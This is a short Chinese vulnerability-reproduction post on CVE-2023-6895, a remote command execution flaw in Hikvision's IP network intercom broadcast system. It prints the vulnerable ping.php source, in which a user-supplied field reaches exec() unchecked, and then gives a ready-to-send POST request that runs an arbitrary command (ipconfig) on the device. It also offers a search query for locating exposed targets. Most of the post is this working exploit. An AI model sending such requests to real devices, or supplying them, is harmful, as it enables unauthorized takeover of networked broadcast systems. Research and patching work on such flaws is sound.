[漏洞复现]CVE-2023-6895 IP网络对讲广播系统远程命令执行

开发语言：PHP开发厂商：杭州海康威视数字技术有限公司

回复“CVE-2023-6895”获取空间测绘语句

v3.0.3_20201113_RELEASE(HIK)

<?php//  /**//   *@param $ip target ip//   *@param $times ping times//   */header("Content-type: text/html; charset=GB2312");$postData = $_POST['jsondata'];if(isset($postData['ip']) && isset($postData['type'])){     $type = $postData['type'];//类型     $ip = $postData['ip'];//IP地址     $arr = systemopr($type, $ip);     $len = count($arr);     for($i = 0; $i < $len; $i++){          if(isset($arr[$i])){               $arr[$i] = iconv('GB2312', 'UTF-8', $arr[$i]);//gb2312转换为utf-8          }     }     $after = json_encode($arr);//转换成json     echo $after;}
function systemopr($type, $ip, $times=4){     $info = array();          if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){           //linux           if($type == "0"){               exec("ping -c $times $ip", $info);           }else if($type == "1"){               exec("traceroute -m $times -w 1 $ip", $info);           }else{               exec($ip, $info);          }     }else{          //windows          if($type == "0"){               exec("ping $ip -n $times", $info);          }else if($type == "1"){               exec("tracert -h $times -w 1000 $ip", $info);          }else{               exec($ip, $info);          }     }     return $info;}?>

POST /php/ping.php HTTP/1.1Host: xxx.xxx.xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 45Origin: http://xxx.xxx.xxxConnection: closeReferer: http://xxx.xxx.xxx/html/system.htmlX-Forwarded-For: 127.0.0.1
jsondata[type]=3&jsondata[ip]=ipconfig